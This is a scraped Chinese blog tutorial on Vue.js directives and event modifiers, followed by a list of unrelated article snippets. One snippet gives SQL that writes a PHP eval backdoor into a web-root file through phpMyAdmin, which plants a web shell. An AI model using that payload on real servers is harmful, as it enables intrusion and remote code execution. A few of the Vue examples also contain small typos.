vue click事件_vue指令用法

vue指令

指令式带有 v- 前缀的特殊特性v-textv-html都属于指令将数据和dom做关联,当表达式的值改变时,响应式地作用在视图

解决大胡子语法闪烁案例

[v-cloak] {dispaly: none;
}

一般把v-cloak绑在Vue实例el属性绑定的节点上

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Title</title><script src="https://cdn.jsdelivr.net/npm/vue@2.5.22/dist/vue.js"></script><style>[v-cloak] {display: none;}</style></head><body><div id="app" v-cloak>{{msg}}</div><script>var vm = new Vue({el: "#app",data: {msg: "问题"}</script></body>
</html>

v-bind给标签属性绑定使用

v-bind是让标签属性可以动态的使用data参数或者写一些简单的js表达式

v-text,v-html不同它俩是针对标签中的内容,v-bind是针对标签中的属性

v-bind案例:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Title</title><!--导入Vue cdn 的网址--><script src="https://cdn.jsdelivr.net/npm/vue@2.5.22/dist/vue.js"></script>
</head>
<body><div id="app" ><a v-bind:href="url" v-bind:title="title">v-bind的缩写是冒号:</a></div><script>var vm = new Vue({el:"#app",data:{url:"www.baidu.com",title:'百度'}})</script>
</body>
</html>

v-on绑定事件v-on方法处理器和内联处理器

方法处理器内联处理器

v-on对象处理v-on:keyup监听按键触发

事件修饰符

阻止事件冒泡--stop实现捕获触发事件的机制--capture只会阻止自己身上冒泡行为--self阻止默认事件--prevent只触发一次默认行为

v-on绑定事件可以用v-on指令监听DOM事件

<button v-on:click="alert('a')">v-on</button>

v-on的缩写@符号

v-on方法处理器和内联处理器

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Title</title><!--导入Vue cdn 的网址--><script src="https://cdn.jsdelivr.net/npm/vue@2.5.22/dist/vue.js"></script>
</head>
<body><div id="app" ><button v-on:click="doThis">v-on按钮</button></div><script>var vm = new Vue({el:"#app",methods:{// es6 语法doThis(){if (event) {alert(event.target.tagName)}alert('我是方法处理器')}},})</script>
</body>
</html>
使用的时候带括号:'<button v-on:click="doThat('hello', $event)"></button>'带括号的好处是可以传参,但不自带evet 事件,想使用event事件需要$event
参数传入
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Title</title><!--导入Vue cdn 的网址--><script src="https://cdn.jsdelivr.net/npm/vue@2.5.22/dist/vue.js"></script>
</head>
<body><div id="app" ><button v-on:click="doThat('hello', $event)">v-on按钮</button></div><script>var vm = new Vue({el:"#app",methods:{// es6 语法doThat(parameter, event){let msg = parameter + "内联方法";if (event) {alert(event.target.tagName)}alert(msg);}},})</script>
</body>
</html>

内联处理器是指的什么呢?

<div id="example-3"><button v-on:click="say">Say hi</button><button v-on:click="say">Say what</button>
</div>
new Vue({el: '#example-3',methods: {say: function () {alert('hello');}}
});

写法:

<div id="example-3"><button v-on:click="say('hi')">Say hi</button><button v-on:click="say('what')">Say what</button>
</div>
new Vue({el: '#example-3',methods: {say: function (message) {alert(message);}}
});

差异一个有括号,一个没括号,对吧?

没括号的这个,直接就是函数名,有括号的这个,实际是一条JS语句,有括号的这个就叫『内联处理器』。

没括号的有这么一个好处:

<div id="example-3"><button v-on:click="say">Say hi</button><button v-on:click="say">Say what</button>
</div>
new Vue({el: '#example-3',methods: {say: function (event) {alert(event.target.tagName);}}
});

有括号的

让有括号的也能得到无括号娘胎里自带的event参数

<div id="example-3"><button v-on:click="say('hi', $event)">Say hi</button><button v-on:click="say('what', $event)">Say what</button>
</div>
new Vue({el: '#example-3',methods: {say: function (message, event) {alert(message);alert(event.target.tagName);}}
});

事件处理监听事件

<div id="example"><button v-on:click="counter += 1">Add</button><p>the button{{counter}}time</p>
</div>
var example = new Vue({el: '#example',data: {counter: 0}
})

事件处理方法:

<div id="example-2"><!-- `greet` 是在下面定义的方法名 --><button v-on:click="greet">Greet</button>
</div>
var example2 = new Vue({el: '#example-2",data: {name: "Vue.js"},methods: {greet: function(event) {alert('hello' + this.name)if(event){alert(event.target.tagName)}}}
})
example2.greet()

内联处理器中的方法

<div id="example-3"><button v-on:click="say('hi')">Say hi</button><button v-on:click="say('what')">Say what</button>
</div>new Vue({el: '#example-3',methods: {say: function (message) {alert(message)}}
})
<button v-on:click="warn('Form cannot be submitted yet.', $event)">Submit
</button>// ...
methods: {warn: function (message, event) {// 现在我们可以访问原生事件对象if (event) event.preventDefault()alert(message)}
}

事件修饰符:在事件处理程序中调用 event.preventDefault() 或 event.stopPropagation()

Vue.js 为 v-on 提供了事件修饰符

.stop
.prevent
.capture
.self
.once
.passive
<!-- 阻止单击事件继续传播 -->
<a v-on:click.stop="doThis"></a><!-- 提交事件不再重载页面 -->
<form v-on:submit.prevent="onSubmit"></form><!-- 修饰符可以串联 -->
<a v-on:click.stop.prevent="doThat"></a><!-- 只有修饰符 -->
<form v-on:submit.prevent></form><!-- 添加事件监听器时使用事件捕获模式 -->
<!-- 即元素自身触发的事件先在此处理,然后才交由内部元素进行处理 -->
<div v-on:click.capture="doThis">...</div><!-- 只当在 event.target 是当前元素自身时触发处理函数 -->
<!-- 即事件不是从内部元素触发的 -->
<div v-on:click.self="doThat">...</div>

v-on:click.prevent.self 会阻止所有的点击,而 v-on:click.self.prevent 只会阻止对元素自身的点击

<!-- 点击事件将只会触发一次 -->
<a v-on:click.once="doThis"></a>
<!-- 滚动事件的默认行为 (即滚动行为) 将会立即触发 -->
<!-- 而不会等待 `onScroll` 完成  -->
<!-- 这其中包含 `event.preventDefault()` 的情况 -->
<div v-on:scroll.passive="onScroll">...</div>

这个 .passive 修饰符尤其能够提升移动端的性能

不要把 .passive 和 .prevent 一起使用,因为 .prevent 将会被忽略,同时浏览器可能会向你展示一个警告。请记住,.passive 会告诉浏览器你不想阻止事件的默认行为。

按键修饰符

<!-- 只有在 `keyCode` 是 13 时调用 `vm.submit()` -->
<input v-on:keyup.13="submit"><!-- 同上 -->
<input v-on:keyup.enter="submit"><!-- 缩写语法 -->
<input @keyup.enter="submit">.enter
.tab
.delete (捕获“删除”和“退格”键)
.esc
.space
.up
.down
.left
.right// 可以使用 `v-on:keyup.f1`
Vue.config.keyCodes.f1 = 112

自动匹配按键修饰符

<input @keyup.page-down="onPageDown">

处理函数仅在 $event.key === 'PageDown' 时被调用

系统修饰键

.ctrl
.alt
.shift
.meta
<!-- Alt + C -->
<input @keyup.alt.67="clear"><!-- Ctrl + Click -->
<div @click.ctrl="doSomething">Do something</div>.exact 修饰符允许你控制由精确的系统修饰符组合触发的事件。<!-- 即使 Alt 或 Shift 被一同按下时也会触发 -->
<button @click.ctrl="onClick">A</button><!-- 有且只有 Ctrl 被按下的时候才触发 -->
<button @click.ctrl.exact="onCtrlClick">A</button><!-- 没有任何系统修饰符被按下的时候才触发 -->
<button @click.exact="onClick">A</button>.left
.right
.middle

若本号内容有做得不到位的地方(比如:涉及版权或其他问题),请及时联系我们进行整改即可,会在第一时间进行处理。

请点赞!因为你们的赞同/鼓励是我写作的最大动力!

欢迎关注达叔小生的简书!

这是一个有质量,有态度的博客

ca023a8f8547abf5acc3390f9813d0fb.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/298034.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

android 游戏 重力

引用&#xff1a;http://d-android.com/developer/thread-4539-1-1.html 在重力传感器中&#xff0c;虽然我也实现了一个圆形会根据手机反转的角度而拥有不同的速度,但是其内置加速度算法都是Android os封装好的&#xff0c;而今天我们要讲的重力系统就是去模拟这个加速度&…

冒泡排序c java c,冒泡排序,c语言冒泡排序法代码

冒泡排序&#xff0c;c语言冒泡排序法代码冒泡排序冒泡排序(Bubble Sort)&#xff0c;是一种计算机科学领域的较简单的排序算法。它重复地走访过要排序的元素列&#xff0c;依次比较两个相邻的元素&#xff0c;如果顺序(如从大到小、首字母从Z到A)错误就把他们交换过来。走访元…

男人从小到大的梦想

1 哪个男孩子不想拥有挖掘机呢2 竟然还有这种操作&#xff1f;&#xff1f;&#xff1f;3 这难道是传说中的好冷鸭 哈哈哈4 这些。。都是我的吗&#xff1f;&#xff1f;&#xff01;&#xff01;5 流浪的小可爱被收养之后&#xff0c;终于可以睡个安稳觉了&#xff01;6 好好的…

Oralce函数

日期函数--增加一天select sysdate INTERVAL 1 DAY from dual;--增加1小时SELECT sysdate INTERVAL 1 HOUR from dual;--增加1分钟SELECT sysdate INTERVAL 1 MINUTE from dual;--增加1秒钟SELECT sysdate INTERVAL 1 SECOND from dual; 转载于:https://www.cnblogs.com/ji…

10个人里有几个大学生?

大家好&#xff0c;我是Z哥。昨天看了一份报告&#xff0c;感触特别深&#xff0c;想随便聊几句。留给未来作为父亲时的自己。前几天教育部发布了 2020 年的《教育发展统计公报》&#xff0c;看着里面的一张张图表&#xff0c;不由得感叹一句&#xff0c;“读书这事真的是快内卷…

win2003无法进入桌面_救急,如何通过命令行备份桌面重要文件?

今天要说的问题&#xff0c;日常使用中还蛮常见的&#xff0c;比如出现紧急:近期系统更新后进不了系统的一定要看!中类似的情况。对于具有U盘启动盘的朋友们来说&#xff0c;这不是事&#xff0c;因为我们可以通过U盘启动进PE来备份数据&#xff0c;但是日常中&#xff0c;大部…

IE9浏览Flash页面时显示错位并不停地闪烁

之前&#xff0c;在一次开机进入系统后&#xff0c;弹出Flash Player安装新版本的窗口&#xff0c;我验证了是Adobe的数字签名后就执行了安装操作。 后来在使用IE9浏览带有Flash元素的页面时&#xff0c;其Flash元素显示都错位了&#xff0c;并跑到网页的左上角了&#xff0c;其…

在phpmyadmin后台获取webshell方法汇总整理

方法一&#xff1a;CREATE TABLE mysql.xiaoma (xiaoma1 TEXT NOT NULL );INSERT INTO mysql.xiaoma (xiaoma1 )VALUES (<?php eval($_POST[xiaoma])?>);SELECT xiaomaFROM study INTO OUTFILE E:/wamp/www/7.php;----以上同一时候运行&#xff0c;在数据库: mysql 下创…

matlab一维插值extrap,matlab二维插值

介绍griddata及interp2算法matlab二维插值--interp2与griddata from:matlab功能强大&#xff0c;以至于不知道他不能做什么&#xff0c;只是怨自己没有找到相应的函数。 二者均是常用的二维差值方法&#xff0c;两者的区别是&#xff0c;interp2的插值数据必须是矩形域&#xf…

操作系统概念 ppt_智能家居操作系统三国拉锯,要出结果了吗?

海尔、百度、华为盘踞的智能家居操作系统&#xff0c;谁拿下传统家电企业了&#xff1f;文/郭锴来源/智能相对论(aixdlun)福特曾说&#xff0c;如果你问消费者他们想要什么&#xff0c;得到的答案只会是一匹更快的马。汽车大王福特给消费者了汽车&#xff0c;手机教父乔布斯拿出…

垃圾站

http://www.heiqu.com/

阿拉伯数字转成大写

function NoToChinese(num) {if (!/^\d*(\.\d*)?$/.test(num)) {alert("Number is wrong!"); return "Number is wrong!"; } var AA new Array("零", "壹", "贰", "叁", "肆", "伍", "…

史上超强的学科碰撞,有生之年必看系列!

▲ 点击查看 马云在一次演讲中&#xff0c;说过这样一段话&#xff1a;现今社会&#xff0c;如果我们继续以前的教学方法对我们的孩子进行记、背、算这些东西&#xff0c;不让孩子去体验&#xff0c;去玩&#xff0c;不让他们去尝试琴棋书画。我可以保证&#xff1a;三十年后孩…

《那些年啊,那些事——一个程序员的奋斗史》——35

段伏枥好不容易搞明白窗口创建的流程之后&#xff0c;接下来的事情&#xff0c;倒是让他发愁了。UI界面肯定不止是一个界面那么简单&#xff0c;还有什么背光设置啊&#xff0c;多媒体之类&#xff0c;那这些应该如何组织呢&#xff1f;之前段伏枥的做法&#xff0c;是将所有的…

php如果字符串有1 3 5,PHP常用字符串函数小结

PHP常用字符串函数小结来源&#xff1a;程序员人生 发布时间&#xff1a;2015-01-22 09:02:32 阅读次数&#xff1a;1594次1、判断类型的函数is_bool() //判断是不是为布尔型is_float() //判断是不是为浮点型is_real() //同上is_int() //判断是不是为整型is_integer() //同上…

使用zipKin构建NetCore分布式链路跟踪

本文主要讲解使用ZipKin构建NetCore分布式链路跟踪场景因为最近公司业务量增加&#xff0c;而项目也需要增大部署数量&#xff0c;K8S中Pod基本都扩容了一倍&#xff0c;新增了若干物理机&#xff0c;部分物理机网络通信存在问题&#xff0c;导致部分请求打入有问题的物理机时总…

micropython 网络驱动_network_网卡驱动

# network _视频 (import network)network 用于初始化各种网卡驱动*****## **构造函数&#xff1a;*** [ ] **播录视频**class network.ESP8285(uart)>初始化ESP8285&#xff0c;构造一个ESP8285网卡对象&#xff0c;使用需要传入一个uart对象*参数&#xff1a;** uart: 与A…

工作心得

各位朋友大家好&#xff1a;今天很高兴可以和大家对于工作的经验方面发表一些自己的看法&#xff0c;希望能对大家有所帮助&#xff0c;也希望和大家多交流交流&#xff0c;对此说一下这7年来参加工作后的一些体会&#xff0c;如有不对之处&#xff0c;还请大家指出&#xff0c…

matlab 抽样判决代码,matlab抽样判决器

低通 滤波器 LPF 用于滤除高频分量,提高信噪比;抽样判决所需的同步时钟需要从...通信原理 MATLAB 仿真实验 基于 MATLAB 的第一类部分响应系统的 基带信号及其眼图...这种方法具体做法是:用一个示波器跨接在抽样判决器的输入端,然后调整示波 器......(经抽样判决器解调信号波形…

微信又添新功能!这个微信群可以学英语,而且全程免费

全世界只有3.14 % 的人关注了爆炸吧知识最近不少网友发现&#xff0c;在微信群里居然可以学英语&#xff01;而且全程免费&#xff01;群里面会有免费的英语直播课&#xff0c;免费的课程资料&#xff0c;还有专业的英语老师辅导学习。 更重要的是&#xff0c;不需要集赞&#…